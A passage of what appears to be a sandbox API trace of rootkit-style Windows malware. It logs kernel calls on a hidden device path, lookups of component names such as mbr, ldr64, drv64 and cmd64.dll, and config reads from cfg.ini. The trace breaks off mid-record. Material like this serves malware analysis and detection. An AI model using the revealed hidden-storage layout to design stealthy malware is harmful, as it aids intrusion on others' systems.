MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034c5000 [0123.518] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.518] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.518] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.518] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.518] IdePortDispatch () returned 0x103 [0123.518] KeWaitForMutexObject () returned 0x0 [0123.518] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.518] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.518] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.518] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.518] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.518] IdePortDispatch () returned 0x103 [0123.518] KeWaitForMutexObject () returned 0x0 [0123.518] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.518] KeLeaveCriticalRegion () [0123.518] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.519] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.519] KeEnterCriticalRegion () [0123.519] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.519] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.519] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.519] KeLeaveCriticalRegion () [0123.519] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.519] KeEnterCriticalRegion () [0123.519] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.519] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.519] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bea510, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.519] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.519] KeLeaveCriticalRegion () [0123.519] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.519] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.519] KeEnterCriticalRegion () [0123.519] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.519] ExFreePoolWithTag (P=0xfffffa8003beb540, Tag=0x0) [0123.519] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.519] KeLeaveCriticalRegion () [0123.519] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.519] ReleaseMutex (hMutex=0xf0) returned 1 [0123.519] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0123.519] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0123.519] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0123.519] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.519] KeEnterCriticalRegion () [0123.519] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.519] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.519] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.519] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.519] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.519] IdePortDispatch () returned 0x103 [0123.520] KeWaitForMutexObject () returned 0x0 [0123.520] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.520] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.520] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.520] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.520] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.520] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.520] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.520] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.520] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.520] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.520] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.520] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.520] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.520] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.520] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.520] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.520] KeLeaveCriticalRegion () [0123.520] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.520] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0123.520] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.520] KeEnterCriticalRegion () [0123.520] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.520] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.520] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.520] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.520] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.520] IdePortDispatch () returned 0x103 [0123.521] KeWaitForMutexObject () returned 0x0 [0123.521] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.521] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.521] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.521] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.521] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.521] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.521] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.521] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.521] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.521] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.521] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.521] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.521] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.521] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.521] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.521] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.521] KeLeaveCriticalRegion () [0123.521] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.521] ReleaseMutex (hMutex=0x100) returned 1 [0123.521] Sleep (dwMilliseconds=0x2bf20) [0123.527] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6cd1df10, dwHighDateTime=0x1d24fa4)) [0123.527] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0123.527] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.528] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.528] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.528] KeEnterCriticalRegion () [0123.528] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.528] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.528] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.528] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.528] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.528] IdePortDispatch () returned 0x103 [0123.528] KeWaitForMutexObject () returned 0x0 [0123.528] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.528] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.528] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.528] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.528] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.528] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003becbb0 [0123.528] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.528] KeLeaveCriticalRegion () [0123.528] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.528] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.528] KeEnterCriticalRegion () [0123.528] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.528] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.528] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.528] KeLeaveCriticalRegion () [0123.528] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.528] KeEnterCriticalRegion () [0123.528] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.528] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.528] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.528] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.528] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.528] IdePortDispatch () returned 0x103 [0123.528] KeWaitForMutexObject () returned 0x0 [0123.529] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.529] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.529] KeLeaveCriticalRegion () [0123.529] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.529] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.529] KeEnterCriticalRegion () [0123.529] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.529] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034c8000 [0123.529] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.529] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.529] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.529] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.529] IdePortDispatch () returned 0x103 [0123.529] KeWaitForMutexObject () returned 0x0 [0123.529] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.529] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.529] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.529] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.529] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.529] IdePortDispatch () returned 0x103 [0123.529] KeWaitForMutexObject () returned 0x0 [0123.529] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.529] KeLeaveCriticalRegion () [0123.529] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.530] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.530] KeEnterCriticalRegion () [0123.530] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.530] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.530] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.530] KeLeaveCriticalRegion () [0123.530] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.530] KeEnterCriticalRegion () [0123.530] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.530] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.530] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003becc70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.530] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.530] KeLeaveCriticalRegion () [0123.530] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.530] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.530] KeEnterCriticalRegion () [0123.530] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.530] ExFreePoolWithTag (P=0xfffffa8003becbb0, Tag=0x0) [0123.530] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.530] KeLeaveCriticalRegion () [0123.530] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.530] ReleaseMutex (hMutex=0xf0) returned 1 [0123.530] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.530] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.530] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.530] KeEnterCriticalRegion () [0123.530] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.530] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.530] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.530] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.530] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.530] IdePortDispatch () returned 0x103 [0123.531] KeWaitForMutexObject () returned 0x0 [0123.531] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.531] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.531] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.531] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.531] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.531] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bec770 [0123.531] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.531] KeLeaveCriticalRegion () [0123.531] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.531] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.531] KeEnterCriticalRegion () [0123.531] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.531] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.531] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.531] KeLeaveCriticalRegion () [0123.531] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.531] KeEnterCriticalRegion () [0123.531] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.531] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.531] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.531] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.531] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.531] IdePortDispatch () returned 0x103 [0123.531] KeWaitForMutexObject () returned 0x0 [0123.531] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.531] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.531] KeLeaveCriticalRegion () [0123.531] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.532] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.532] KeEnterCriticalRegion () [0123.532] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.532] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034c9000 [0123.532] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.532] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.532] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.532] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.532] IdePortDispatch () returned 0x103 [0123.532] KeWaitForMutexObject () returned 0x0 [0123.532] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.532] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.532] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.532] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.532] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.532] IdePortDispatch () returned 0x103 [0123.532] KeWaitForMutexObject () returned 0x0 [0123.532] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.532] KeLeaveCriticalRegion () [0123.532] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.533] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.533] KeEnterCriticalRegion () [0123.533] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.533] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.533] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.533] KeLeaveCriticalRegion () [0123.533] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.533] KeEnterCriticalRegion () [0123.533] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.533] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.533] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bec830, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.533] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.533] KeLeaveCriticalRegion () [0123.533] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.533] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.533] KeEnterCriticalRegion () [0123.533] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.533] ExFreePoolWithTag (P=0xfffffa8003bec770, Tag=0x0) [0123.533] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.533] KeLeaveCriticalRegion () [0123.533] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.533] ReleaseMutex (hMutex=0xf0) returned 1 [0123.533] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.533] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0123.533] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.533] KeEnterCriticalRegion () [0123.533] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.533] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.533] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.533] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.533] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: 